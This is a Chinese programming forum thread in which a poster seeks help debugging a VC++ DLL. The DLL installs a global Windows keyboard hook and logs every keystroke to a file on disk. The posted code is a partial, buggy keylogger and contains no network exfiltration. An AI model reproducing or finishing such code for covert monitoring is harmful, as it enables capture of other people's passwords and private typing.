HHOOK hHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,AfxGetInstanceHandle(), NULL);LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode==HC_ACTION)
{
if((lParam & 0x80000000)) // Key down;
{
...
}
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}为什么总是在第一次执行KeyBoardProc函数的时候,参数lParam的值是一个常数:-1069613055,然后随后的键盘按键信息就不会再被捕获。这是为什么?怎么解决这个问题?
{
if(nCode==HC_ACTION)
{
if((lParam & 0x80000000)) // Key down;
{
...
}
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}为什么总是在第一次执行KeyBoardProc函数的时候,参数lParam的值是一个常数:-1069613055,然后随后的键盘按键信息就不会再被捕获。这是为什么?怎么解决这个问题?
解决方案 »
- VC++中“->”箭头符号的含义是什么?有几种应用?
- vc6为什么常常无法完成编译?
- 请问关于wcslen的问题
- 如何隐藏鼠标?
- 如何编写VC++的DEF文件,用于DLL的输出
- 怎样获得窗口句柄??
- 高手请进,高难度问题,你会得到收获,拖动密码问题
- 为什么CoCreateInstance(clsidWord,NULL,CLSCTX_INPROC_SERVER,IID_IUnknown,(LPVOID*)&lpDisp);出错???
- 一个问题再讨论
- 谁能弄个基于Win32控制台应用程序的ADO连接SQL server数据库工程文件参考
- snmp问题求教,SnmpSetVb函数参数怎么个设置法。
- 错误在哪里?
#define AFX_KEYHOOKDLL_H__17604216_8AE0_11D6_8F32_00E04CE76240__INCLUDED_#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000// MFC(dll)----regular statically linked to mfc dll
#include "stdafx.h"////////////////////////////////////////////////////////////////////////////////////
#define DLL_EXPORT _declspec(dllexport)DLL_EXPORT BOOL WINAPI KeyHook(LPCTSTR lpModuleName);
DLL_EXPORT BOOL WINAPI UnKeyHook();
// -----------------------------------------
LPCTSTR lpFileName="D:\\Key.txt"; // 文件的存储路径;
HHOOK hHook=NULL; // HOOK句柄;
LPTSTR lpWindowText=NULL; // 活动窗口的标题;
HWND hActiveCtrl=NULL; // 焦点控件的句柄;
// -----------------------------------------
// 将ASCII码变为LPCTSTR;
LPCTSTR AsciiToStr(UINT wParam);
// 保存得到的键名到指定的文件中;
void Save(LPCTSTR * lpKey);
// KEY HOOK 回调函数;
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam);////////////////////////////////////////////////////////////////////////////////////DLL_EXPORT BOOL WINAPI KeyHook(LPCTSTR lpModuleName)
{
// lpModuleName 是DLL文件的文件名 HWND hWnd=::FindWindow("#32770",NULL);
if(hWnd)
{
if(hHook)
{
UnhookWindowsHookEx(hHook);
hHook=NULL;
}
HINSTANCE hInstance=(HINSTANCE)GetModuleHandle("E:\\tianyj\\private\\6.0\\KeyHook\\Lib\\Dll.dll"); hHook=SetWindowsHookEx(
WH_KEYBOARD,
(HOOKPROC)KeyBoardProc,
hInstance,
0);
if(hHook)
{
// 创建键盘记录文件并设置其属性;
CStdioFile file(lpFileName,CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite);
file.Close();
return TRUE;
}
}
return 0;
}DLL_EXPORT BOOL WINAPI UnKeyHook()
{
if(hHook)
{
UnhookWindowsHookEx(hHook);
hHook=NULL;
return TRUE;
}
return FALSE;
}void Save(LPCTSTR lpKey)
{
CStdioFile file(lpFileName,CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite);
file.SeekToEnd();
file.WriteString(lpKey);
file.Close();
}LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode==HC_ACTION)
{
if(!(lParam & 0x80000000)) // Key down;
{
// A--Z and a--z
if(wParam>=0x41 && wParam<=0x5A && wParam!=VK_SHIFT)
{
SHORT stateCap=GetKeyState(VK_CAPITAL);
SHORT stateShift=GetKeyState(VK_SHIFT);
char key[2]="\0";
BOOL bCapital=FALSE;
if(stateShift & 0xff00)
bCapital=!bCapital;
if(stateCap & 0x00ff)
bCapital=!bCapital;
if(!bCapital)
key[0]=wParam+32;
else
key[0]=wParam;
Save((LPCTSTR)key);
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
else
{
// Other keys
Save(AsciiToStr(wParam));
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
}
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}LPCTSTR AsciiToStr(UINT wParam)
{
return _T("Test");
}
////////////////////////
#endif
-------------------------------------------
在KeyHook函数中,执行如下代码后,得到的hInstance为什么是0x00000000?
我的DLL路径完全正确呀?HINSTANCE hInstance=(HINSTANCE)GetModuleHandle("E:\\Lib\\Dll.dll");